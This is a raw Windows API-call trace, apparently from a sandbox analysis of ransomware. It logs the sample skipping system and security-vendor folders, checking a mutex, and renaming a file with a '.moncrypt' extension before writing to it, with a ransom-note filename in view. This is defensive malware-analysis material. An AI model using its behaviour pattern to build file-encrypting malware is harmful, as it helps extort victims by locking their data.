cchWideChar=2047 | out: lpWideCharStr="adobe\\뭸RP") returned 6 [0052.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.919] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뾴R企@\x18?T\x18y")) returned 0xffffffff [0052.919] GetLastError () returned 0x2 [0052.919] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a410, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0052.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.919] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18\x81")) returned 0xffffffff [0052.919] GetLastError () returned 0x2 [0052.919] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a410, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0052.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.920] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18\x88")) returned 0xffffffff [0052.920] GetLastError () returned 0x2 [0052.920] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a410, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0052.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.920] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뾴R企@\x18?T\x18\x8f")) returned 0xffffffff [0052.920] GetLastError () returned 0x2 [0052.921] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a410, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0052.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.921] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18\x97")) returned 0xffffffff [0052.921] GetLastError () returned 0x2 [0052.921] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a410, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0052.921] GlobalLock (hMem=0x440004) returned 0x550170 [0052.921] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.921] GlobalUnlock (hMem=0x440004) returned 0 [0052.921] GlobalLock (hMem=0x440004) returned 0x550170 [0052.921] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.921] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.922] GlobalUnlock (hMem=0x440004) returned 0 [0052.922] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.922] GlobalUnlock (hMem=0x44000c) returned 0 [0052.922] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.922] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0052.922] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.922] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0052.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0052.922] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.922] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.922] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.922] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0052.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a488, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.923] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.923] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.923] GlobalUnlock (hMem=0x44000c) returned 0 [0052.923] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.923] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.923] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.923] GlobalUnlock (hMem=0x44000c) returned 0 [0052.923] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.923] GlobalUnlock (hMem=0x440004) returned 0 [0052.923] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.923] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a410, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.923] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a410, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.924] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0052.924] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0052.924] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a410, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0052.924] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a410, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.924] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.925] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a410, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.925] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.925] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0052.925] GlobalLock (hMem=0x440004) returned 0x550170 [0052.925] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.925] GlobalUnlock (hMem=0x440004) returned 0 [0052.925] GlobalLock (hMem=0x440004) returned 0x550170 [0052.925] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.925] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.925] GlobalUnlock (hMem=0x440004) returned 0 [0052.925] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.925] GlobalUnlock (hMem=0x44000c) returned 0 [0052.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.925] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.925] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.925] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.925] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.925] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.926] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.926] GlobalUnlock (hMem=0x44000c) returned 0 [0052.926] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.926] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.926] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.926] GlobalUnlock (hMem=0x44000c) returned 0 [0052.926] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.926] GlobalUnlock (hMem=0x440004) returned 0 [0052.926] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.926] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0052.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.926] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0052.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 76 [0052.927] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.927] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.927] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.927] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.927] GlobalUnlock (hMem=0x440004) returned 0 [0052.927] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.927] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.927] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.927] GlobalUnlock (hMem=0x440004) returned 0 [0052.927] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.927] GlobalUnlock (hMem=0x44000c) returned 0 [0052.927] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.927] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0052.928] CloseHandle (hObject=0x18c) returned 1 [0052.929] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\я")) returned 1 [0052.929] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 0x54e240 [0052.930] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.930] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.930] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", dwFileAttributes=0x20) returned 1 [0052.931] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.931] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm.moncrypt")) returned 1 [0052.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c 